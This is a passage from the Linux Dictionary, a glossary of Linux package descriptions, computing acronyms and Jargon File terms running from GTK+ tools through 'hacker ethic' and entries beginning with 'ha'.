A GTK+ version of Hx, a UNIX Hotline Client This is a Hotline Client for Linux using the GTK+ libraries. Hotline is a protocol allowing chat, news, and file transfers. Any user can run his/her own server and register it with a public tracker, which is a meta-server that users can access to obtain a list of registered servers and connect to them. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtklp

Frontend for cups written in gtk Frontend for cups written in gtk. It has: theme-support IPP support Printer specific options All standard-cups options different preferences-files for each printer It comes now with gtklpq, a frontend for administering your current print jobs. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkmorph

Digital image warper (gtk) gtkmorph loads, saves, warps, and dissolves images, and loads, saves, creates, and manipulates control meshes which determine the warping. It has support for making movies automatically (it needs extra packages). The technique was invented and first used by Industrial Light and Magic, and is commonly called "morphing." gtkmorph is a GUI for libmorph, using GTK; it is not completely finished but it is usable. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkpool

simple GTK+ pool billiard game GtkPool brings that classic favourite game of lounge lizards to a Linux box near you. It currently has a rather simple playing interface, but supports a really nifty customizable physics system. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkrecover

GUI for recover gtkrecover is a GUI for recover, a program that undeletes files on ext2 partitions. You can search for a deleted file by: * Hard disk device name * Year of deletion * Month of deletion * Weekday of deletion * First/Last possible day of month * Min/Max possible file size * Min/Max possible deletion hour * Min/Max possible deletion minute * User ID of the deleted file * A text string the file included (can be ignored) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtksee

GTK-based clone of ACDSee (an image viewer) GTKsee is an image viewer/browser. The browser shows thumbnails, you can quickly watch a picture in large or fullscreen by simply tapping on return. Also has slideshow capabilities. Really great stuff, but, if you like this try out ``gqview" too. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtksql

GTK front end to the postgresql database. GtkSQL is a graphical query tool for PostgreSQL. The author states that it is unpolished, lacking several features planned for addition, but that it is stable and usable. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkatalog

Disk catalog. GTKtalog is a GTK Disk Catalog program. It means you can create a database of all your CDs or other disks, and browse it or search specific files or folders. It's really useful when you have many CDs and you want to know in which CD some thing is. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtktiemu

Texas Instruments calculators emulator GtkTIemu emulates Texas Instruments calculators TI-92/92+/89. It is based on XTiger, the original TI emulator for Linux, which uses the 68k emulation core from UAE (The Ultimate Amiga Emulator). The emulation core has been split into a shared library, namely the libti68k. You need to either dump the ROM of your calculator (you can do so with TiLP), or get a ROM from Texas Instrument (see the software section concerning your

calculator, then download the archive and extract the file) to use this emulator. There are *no* ROMs provided in this package, as they are copyrighted by Texas Instruments, Inc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtktrain

The train-routing calculator with GTK interface gtktrain is a program to calculate the shortest route from a train station to another in consideration of time and distance. It tells you which line you should take and where you should transfer at. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkwave

a VCD (Value Change Dump) file waveform viewer gtkwave is a viewer for VCD (Value Change Dump) files which are usually created by digital circuit simulators. (These files have no connection to video CDs!) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GTL

Gunning Tranceiver Logic+ [bus] (Intel, SMP), "GTL+" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GTLD

Generic Top Level DOMAIN (Internet, ICANN), "gTLD" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtm

Multiple files transfer manager. GTransferManager allows the user to retrieve multiple files from the web. These files can be retrieved in multiple parts and each part retrieved on a separate session that the user is connected to the Internet. This is most useful to users with dialup connections. The program performs these tasks using wget as it's back-end. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtml

An HTML pre-processor GTML is an HTML pre-processor which adds some extra features specially designed for maintaining multiple web pages. HTML files generated by GTML are just like any other HTML files. Because GTML does not attempt to interpret your HTML commands in any way, it's fully compatible with all version of HTML, and does not require any specific browser or server. More information can be found at the gtml web site <http://www.lifl.fr/~beaufils/gtml/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtoaster

Gnome Toaster is a versatile CD creation suite. It is designed to be as user-friendly as possible, allowing you to create CD-ROMs with just a few simple mouse clicks. Audio and data CDs are both possible. Gnome Toaster is also well integrated with the GNOME and KDE filemanagers. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtoaster

Gnome Toaster, a GUI for creating CDs A cdrecord/mkisofs/cdda2wav frontend for creating data, audio and mixed mode CDs both from other CDs or from self compiled data. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtop

Graphical TOP variant The graphical version of top provides an easy interface to process control on a GNU/Linux system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GTP

GPRS Tunnel Protocol (GPRS, mobile-systems) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtranscript

GNOME SQL database client GNOME Transcript is a SQL database client that aims to provide an easy and powerful environment for SQL users. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtranslator

PO-file editor by the Gnome I18N team A 'translation-supporting' program, which makes translating programs easy even for non-programmers. You might want to subscribe to the gnome-i18n-mailing list (see developer.gnome.org for instructions) for more translation information. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GTS

GigaTexel Shading From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtt

GTimeTracker – a time tracker From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtypist

A simple ncurses typing tutor Displays exercise lines, measures your typing speed and accuracy, and displays the results. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtypist

manual page for gtypist 2.5 From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

guessnet

Guess what network is connected to an ethernet device Based on the network detecting code of laptop-netconf, guessnet tries to guess what network an ethernet device is currently connected to, using fake ARP requests. It has been written to be coupled with the debian ifupdown package to achieve automatic network detection and configuration, but it can be used stand-alone to implement smart network scripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GUI

Graphical User Interface (UI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GUI

see graphical user interface (GUI). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GUI (Graphical User Interface)

A design for the part of a program that interacts with the use and uses icons to represent programs features. The Apple Macintosh and Microsoft Windows operating environments are popular GUIs. Having found that people recognise graphic representations faster they read word or phrases, a Xerox research team designed a user interface with graphic images called icons. GUIs typically work with moussable interfaces with pull-down menus, dialog boxes, check boxes radio buttons, drop-down list boxes, scroll bars, scroll boxes, and the like. Programs with a GUI require a computer with sufficient speed, power, and memory to display high-resolution, bit-mapped display. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GUID

Global[ly] Unique Identifier (COM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GUID (Globally-unique Identifier)

A Microsoft Windows concept, a GUID is a large, unique number. Each Windows computer has its own GUID to identify it unique. Likewise, every time a user account is created, a GUID is assigned to the user. Key point: Microsoft got in trouble in 1999 for automatically shipping up the GUIDs as part of its registration process. Key point: GUIDs are sometimes placed within hidden fields within Microsoft documents (Word, Excel), allowing the original author to be identified. This was used in order to help track down the author of the "Melissa" worm. Key point: The GUID is generated from other "unique" information on a machine, such as the MAC address of the Ethernet adapter. It isn't guaranteed to be absolutely unique, but chances of any two GUIDs in the world being identical are remote. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GUIDE

Graphical User Interface Design Editor (Sun) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

guikachu

A graphical PalmOS resource editor Guikachu is a resource editor for PalmOS systems. It can be used to visually create dialog boxes, menu bars and windows for Palm applications. More information is available at: <http://cactus.rulez.org/projects/guikachu/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

guikachu2rcp

Transforms Guikachu's XML documents to .rcp for PilRC Guikachu is a resource editor for PalmOS systems. It can be used to visually create dialog boxes, menu bars and windows for Palm applications. This package contains the command-line tool, guikachu2rcp, which can generate .rcp files from Guikachu's native XML files using XSL. More information about Guikachu is available at: <http://cactus.rulez.org/projects/guikachu/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GUILE

GNU's Ubiquitous Intelligent Language for Extension (GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

guile

GUILE (GNU's Ubiquitous Intelligent Language for Extension) is a library implementation of the Scheme programming language, written in C. GUILE provides a machine-independent execution platform that can be linked in as a library during the building of extensible programs. Install the guile package if you'd like to add extensibility to programs that you are developing. You'll also need to install the guile-devel package. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

guitar

A GTK+ archive extraction/viewing tool. guiTAR is a TAR extraction tool written in GTK+ and including GNOME support. It currently supports the tar, tar.Z, tar.gz, tar.bz2, lha, lzh, rar, arj, zip, and slp formats. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

guname

GNOME version of uname From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gunzip

compress or expand files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gup

let a remote site change their newsgroups subscription Gup, the Group Update Program is a Unix mail-server that lets a remote site change their newsgroups subscription without requiring the intervention of the news administrator at the feed site. Gup is suited to news administrators that find they are spending an inordinate amount of time editing the INN newsfeeds file on behalf of the remote sites. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Guppi

A GNOME-based data analysis and visualization system. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gupsc

GNOME client for the Network UPS Tools Package (nut) This package will display information about battery-status, load-status, AC-current and AC-frequency in a window. You can choose which machine to get the information from, and the rate at which it gets this information. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gurpmi

gurpmi is a graphical front-end to urpmi From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GUS

Guide to the Use of Standards (SPAG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gutenbook

Graphical document reader for Gutenberg Etext documents Gutenbook aims to be a free and more intuitive, comfortable document reader, within the scope of a computer's desktop metaphor, geared specifically towards Project Gutenberg Etexts, but supporting any ASCII document. Project Gutenberg (<http://promo.net/pg/index.html>) aims to make public domain literature available to the world in ASCII text format. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gutenbrowser

Project Gutenberg Etext reader gutenbrowser is a reader for etexts produced by Project Gutenberg. It integrates with KDE. You only need the libraries to run it though. Project Gutenberg (<http://promo.net/pg/index.html>) aims to make public domain literature available to the world in ASCII text format. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GUUG

German Unix User Group (org., user group, Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gv

A PostScript and PDF viewer for X using 3d Athena Widgets `gv' is a comfortable viewer of PostScript and PDF files for the X Window System. It uses the `ghostscript' PostScript(tm) interpreter and is based on the classic X front-end for `gs', `ghostview'. It is more comfortable and more powerful than `ghostview'. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GV

GebaeudeVerteiler (cable, EN 50 173) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gv

Gv provides a user interface for the ghostscript PostScript(TM) interpreter. Derived from the ghostview program, gv can display PostScript and PDF documents using the X Window System. Install the gv package if you'd like to view PostScript and PDF documents on your system. You'll also need to have the ghostscript package installed, as well as the X Window System. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GVBA

Global Village Business Association (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gvd

GNU Visual Debugger GVD is able to debug Ada and C programs, and will soon be extended to cover even more. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gvid

Gnome X video mode changer applet. This applet allows you to switch between predefined video resolutions. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gvidm

Gtk app to quickly and easily change video resolutions in X. Running gvidm will pop up a list of available modes and allows the user to select one if desired. This makes it perfect for running from an application menu or a hotkey, so you don't have to use ram for an applet constantly running. If you are running dual or multi-head displays, it will give you a list of screens so you can select the appropriate one. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gview

G

Vi IMproved, a programmers text editor From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gvim

Vi IMproved, a programmers text editor From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gvimdiff

edit two or three versions of a file with Vim and show differences From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GVV

German Volunteer Votetakers (Usenet, DANA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gw

GNOME version of w From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GWAI

German Workshop on Artificial Intelligence (conference, AI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gwave

a waveform viewer eg for spice simulators gwave – a viewer for the output of spice-like simulators and other viewing of analog data. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GWBASIC

Graphics and Windows Beginner's All-purpose Symbolic Instruction Code (BASIC, MS-DOS), "GW-Basic" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GWDG

Gesellschaft fuer Wissenschaftliche Datenverarbeitung Goettingen [mbH] (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gweather

Weather Applet for the GNOME panel. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gwenview

image viewer for KDE 2.X gwenview is an imageviewer for KDE 2.X. It features a folder tree window and a file list window to provide easy navigation in your file hierarchy. Image loading is done by the Qt library, so it supports all image formats your Qt installation supports. Gwenview correctly displays images with alpha channel. It uses docked windows, so you can alter the layout in any way you want. You can also browse your images in full screen. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gwhois

generic Whois Client / Server gwhois is a generic whois client / server. This means that it know for many (virtually all) TLDs, IP-Ranges and Handles out there where to ask. It queries other whois-servers as well as web-lookup forms. gwhois can be used as a client, but you can invoke it as a server (e.g. via inetd) as well for usage with a normal whois client. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gwm

The generic window manager. The GWM (Generic Window Manager) is an extensible Window Manager for the X Window System Version 11. It is based upon a WOOL (Window Object Oriented Language) kernel, which is an interpreted dialect of Lisp with specific window management primitives. GWM should be able to emulate efficiently other window managers, and play the same role for window managers as EMACS does for text editors. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gworkspace

Workspace Manager for GNUstep A clone of the file and application manager available on NeXTSTEP and OPENSTEP used for managing files and starting applications. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gworldclock

Displays time and date in specified time zones This program displays the time and date of specified time zones using a GTK+ interface. It also allows the zones to be synchronised to a time other than the current time. The time zones may be entered by hand in TZ format or chosen from a list prepared from /usr/share/zoneinfo/zone.tab. The zone list is kept in a format consistent with the shell script tzwatch. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GWS

Gesellschaft fuer Wirtschafts- und Sozialkybernetik (org., Uni Marburg) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GWS

Graphics WorkShop From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gwtg

Web interface for interacting with Geneweb databases Gwtg is a CGI program allowing owners of data bases accomodated in a GeneWeb site to upload and download their data bases on the site and change their configuration parameters. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gwydion-dylan

The Gwydion Dylan Runtime Environment This package contains the libraries and other files needed to run programs compiled with the Gwydion Dylan compiler (d2c). At some point in the (hopefully near) future, this package will contain the Gwydion Dylan Listener, which will allow interactive exploration of the language. For more information, see the Gwydion Dylan maintainers' web page at <<http://www.gwydiondylan.org/>>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gxdit

GTK-based text editor GXedit is a graphical text editor, featuring everything a modern text editor should have including a toolbar, multiple windows options, scripting, cvs support, language support for C, html, perl and java, and it is network aware. It can display pixmaps in the background, and can use a 'say' program (e.g., the one in the non-free rsynth package) to "speak" your files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gxproc

GTK-based utility to show system information This utility, which was previously bundled with the gxedit package, pops up a window with information about your kernel, processor, etc. The program was previously named xproc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gxset

GTK based graphical frontend to the X command line tool xset(1) GTK xset is a graphical fronted to the X command line tool xset(1). It is a gtk application, designed with Glade. GTK xset can set auto repeat, key click, bell, mouse, screen saver and DPMS parameters. It also has a font path editor. Settings can be saved to a file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gzexe

compress executable files in place From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GZip

A free compression program commonly available as a Unix command for file compression, gzip, which is also available for MS-DOS, compresses files and appends either '.z' or '.gz' to the filename. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gzip

Reference documentation to gzip. Gzip reduces the size of the named files using Lempel–Ziv coding (LZ77). Whenever possible, each file is replaced by one with the extension `.gz`, while keeping the same ownership modes, access and modification times. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gzip

The gzip package contains the popular GNU gzip data compression program. Gzipped files have a `.gz` extension. Gzip should be installed on your Linux system, because it is a very commonly used data compression program. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gzip (GNU zip)

The original file compression program for UNIX/Linux. Recent versions produce files with a `.gz` extension. (A `.z` or `.Z` extension indicates an older version of Gzip.) Compression is used to compact files to save storage space and reduce transfer time. (When combined with Tar, the resulting file extensions may be `.tgz`, `.tar.gz` or `.tar.Z`.) From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

H

h2ph

convert .h C header files to .ph Perl header files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

h2xs

convert .h C header files to Perl extensions From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

H4P

High Performance Parallel Processing Project (ICI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HA Linux

Motorola Computer Group's Advanced High Availability Software for Linux. Runs on Motorola platforms, naturally. A 'special purpose/mini' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hack

[very common] 1. n. Originally, a quick job that produces what is needed, but not well. 2. n. An incredibly good, and perhaps very time-consuming, piece of work that produces exactly what is needed. 3. vt. To bear emotionally or physically. "I can't hack this heat!" 4. vt. To work on something (typically a program). In an immediate sense: "What are you doing?" "I'm hacking TECO." In a general (time-extended) sense: "What do you do around here?" "I hack TECO." More generally, "I hack `foo'" is roughly equivalent to "'foo' is my major interest (or project)". "I hack solid-state physics." See Hacking X for Y. 5. vt. To pull a prank on. See sense 2 and hacker (sense 5). 6. vi. To interact with a computer in a playful and exploratory rather than goal-directed way. "Whatcha up to?" "Oh, just hacking." 7. n. Short for hacker. 8. See nethack. 9. [MIT] v. To explore the basements, roof ledges, and steam tunnels of a large, institutional building, to the dismay of Physical Plant workers and (since this is usually performed at educational institutions) the Campus Police. This activity has been found to be eerily similar to playing adventure games such as Dungeons and Dragons and Zork. See also vadding. Constructions on this term abound. They include `happy hacking' (a farewell), `how's hacking?' (a friendly greeting among hackers) and `hack, hack' (a fairly content-free but friendly comment, often used as a temporary farewell). For more on this totipotent term see "The Meaning of Hack". See also neat hack, real hack. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hacker

A computer user who uses clever or unorthodox techniques to solve technical problems or challenges. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hacker

An individual who is interested in exploring technology, computers, and data/communication networks. The opposite of a hacker is a cracker, whose interests in technology are for malicious or destructive aims. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hacker

n. [originally, someone who makes furniture with an axe] 1. A person who enjoys exploring the details of programmable systems and how to stretch their capabilities, as opposed to most users, who prefer to learn only the minimum necessary. 2. One who programs enthusiastically (even obsessively) or who enjoys programming rather than just theorizing about programming. 3. A person capable of appreciating hack value. 4. A person who is good at programming quickly. 5. An expert at a particular program, or one who frequently does work using it or on it; as in `a Unix hacker'. (Definitions 1 through 5 are correlated, and people who fit them congregate.) 6. An expert or enthusiast of any kind.

One might be an astronomy hacker, for example. 7. One who enjoys the intellectual challenge of creatively overcoming or circumventing limitations. 8. [deprecated] A malicious meddler who tries to discover sensitive information by poking around. Hence `password hacker', `network hacker'. The correct term for this sense is cracker. The term `hacker' also tends to connote membership in the global community defined by the net (see the network and Internet address). For discussion of some of the basics of this culture, see the How To Become A Hacker FAQ. It also implies that the person described is seen to subscribe to some version of the hacker ethic (see hacker ethic). It is better to be described as a hacker by others than to describe oneself that way. Hackers consider themselves something of an elite (a meritocracy based on ability), though one to which new members are gladly welcome. There is thus a certain ego satisfaction to be had in identifying yourself as a hacker (but if you claim to be one and are not, you'll quickly be labeled bogus). See also wannabee. This term seems to have been first adopted as a badge in the 1960s by the hacker culture surrounding TMRC and the MIT AI Lab. We have a report that it was used in a sense close to this entry's by teenage radio hams and electronics tinkerers in the mid-1950s. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hacker (hacking)

A hacker is someone who is able to manipulate the inner workings of computers, information, and technology. Consider Arthur C. Clark's Third Law: "Any sufficiently advanced technology is indistinguishable from magic". Since normal people have no clue as to how computers work, they often view hackers with suspicion and awe (as magicians, sorcerers, witches, and warlocks). This suspicion leads to the word "hacker" having the connotation of someone up to no good. History: The word "hacker" started out in the 14th century to mean somebody who was inexperienced or unskilled at a particular activity (such as a golf hacker). In the 1970s, the word "hacker" was used by computer enthusiasts to refer to themselves. This reflected the way enthusiasts approach computers: they eschew formal education and play around with the computer until they can get it to work. (In much the same way, a golf hacker keeps hacking at the golf ball until they get it in the hole). Furthermore, as "experts" learn about the technology, the more they realize how much they don't know (especially about the implications of technology). When experts refer to themselves as "hackers", they are making a Socratic statement that they truly know nothing. For more information on this connotation, see ESR's computer enthusiast "Jargon File". Key point: Today if you do a quick search of "hacker" in a search engine, you will still see occasional uses of the word in senses used in the 1400s and 1970s, but the overwhelming usage in the 1990s describes people who break into computers using their sorcerous ways. Likewise, the vast majority of websites with the word "hack" in their title refer to illegitimate entry into computer systems, with notable exceptions like <http://www.hacker.com/> (for golf). Controversy: The computer-enthusiast community does not like using "hacker" to describe malicious people; they prefer "cracker". The security-community restricts the use of the word "cracker" to some who breaks encryption and copy-protection schemes. Consequently, a journalist who writes about cybercriminals cannot use either word without hate mail from the opposing community claiming they are using the word incorrectly. If a journalist writes about hackers breaking into computers, they will receive hate-mail claiming that not all hackers are malicious, and that the correct word is "cracker". Likewise, if they write about crackers breaking into computers, they will receive hate-mail claiming that crackers only break codes, but it's hackers who break into systems. The best choice probably depends upon the audience; for example one should definitely talk about malicious crackers in a computer-enthusiast magazine like Linux Today. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hacker ethic

n. 1. The belief that information-sharing is a powerful positive good, and that it is an ethical duty of hackers to share their expertise by writing open-source and facilitating access to information and to computing resources wherever possible. 2. The belief that system-cracking for fun and exploration is ethically OK as long as the cracker commits no theft, vandalism, or breach of confidentiality. Both of these normative ethical principles are widely, but by no means universally, accepted among hackers.

Most hackers subscribe to the hacker ethic in sense 1, and many act on it by writing and giving away open-source software. A few go further and assert that all information should be free and any proprietary control of it is bad; this is the philosophy behind the GNU project. Sense 2 is more controversial: some people consider the act of cracking itself to be unethical, like breaking and entering. But the belief that `ethical' cracking excludes destruction at least moderates the behavior of people who see themselves as `benign' crackers (see also samurai). On this view, it may be one of the highest forms of hackerly courtesy to (a) break into a system, and then (b) explain to the sysop, preferably by email from a superuser account, exactly how it was done and how the hole can be plugged -- acting as an unpaid (and unsolicited) tiger team. The most reliable manifestation of either version of the hacker ethic is that almost all hackers are actively willing to share technical tricks, software, and (where possible) computing resources with other hackers. Huge cooperative networks such as Usenet, FidoNet and Internet (see Internet address) can function without central control because of this trait; they both rely on and reinforce a sense of community that may be hackerdom's most valuable intangible asset. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HACL

Host Access Class Library (HOD, API) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HACMP

High Availability Clustered Multi Processing (IBM, RS/6000, Bull), "HA/CMP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HAL

Hard Array Logic From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HAL

Hardware Abstraction Layer (Windows NT) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HAL

Heuristically programmed ALgorithmic computer (2001) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hal91

HAL91 -- minimalistic Linux distribution that fits on one floppy disk. The website is available in English, German and Italian. A small disk distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Half-duplex

An asynchronous communications protocol in which communications channel can handle only one signal at a time. The two stations alternate their transmissions. Synonymous with local echo. See communications protocol, echoplex, and full duplex. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hall, Jon "Maddog"

Jon is famous for his vocal attendance of important Linux events. He is executive director of Linux International, formerly of DEC (Compaq). From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Halloween Linux

Halloween Linux is a German localized version of Red Hat. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HALPC

Houston Area League of PC-Users, "HAL-PC" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

halt

stop the system. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

halt

To stop all running processes on a system cleanly. Once the system is halted, you may need to manually turn off your system to complete a system power off. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hamfax

Receive/send radio facsimile transmissions with Soundcard/PTC-II With this package you can send or receive radio facsimile transmissions using either a Linux-supported soundcard or an SCS PTC-II data controller. Radio facsimile transmission are used most commonly by meteorological bureaus to provide weather maps to aircraft and shipping. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HAMPS

Host AUTODIN Message Processing System (AUTODIN, mil.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hamsoft

Reader for new hamradio linux software at radio.linux.org.au. Hamsoft is a reader for new hamradio linux software at radio.linux.org.au, the linux hamradio software database. When you select an entry in the list and click on read, the link will be opened in a mozilla window. Mozilla has to be running. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HAND

Have A Nice Day (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Handler

A driver, utility program, or subroutine that takes care of a task. The A20 handler, for example, is a routine that controls access to extended memory. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HANFS

Highly Available Network File System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hang

A situation where a computer system has ceased interactivity due to resource limitation or software/hardware failure. A hung system usually requires user intervention such as stopping offending processes or physical system reboot. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hang

v. 1. [very common] To wait for an event that will never occur. "The system is hanging because it can't read from the crashed drive". See wedged, hung. 2. To wait for some event to occur; to hang around until something happens. "The program displays a menu and then hangs until you type a character." Compare block. 3. To attach a peripheral device, esp. in the construction `hang off': "We're going to hang another tape drive off the file server." Implies a device attached with cables, rather than something that is strictly inside the machine's chassis. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hanterm-classic

Another X terminal emulator with Hangul support Hanterm is a replacement for xterm that supports Hangul input and output; It is a modified of the xterm program from XFree86. Hanterm uses it own native input system and does not require an X input method server. This package contains `original hanterm' made by Jake Song, and hanterm package contains hanterm-xf made by ChiDeok Hwang. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hanterm-xf

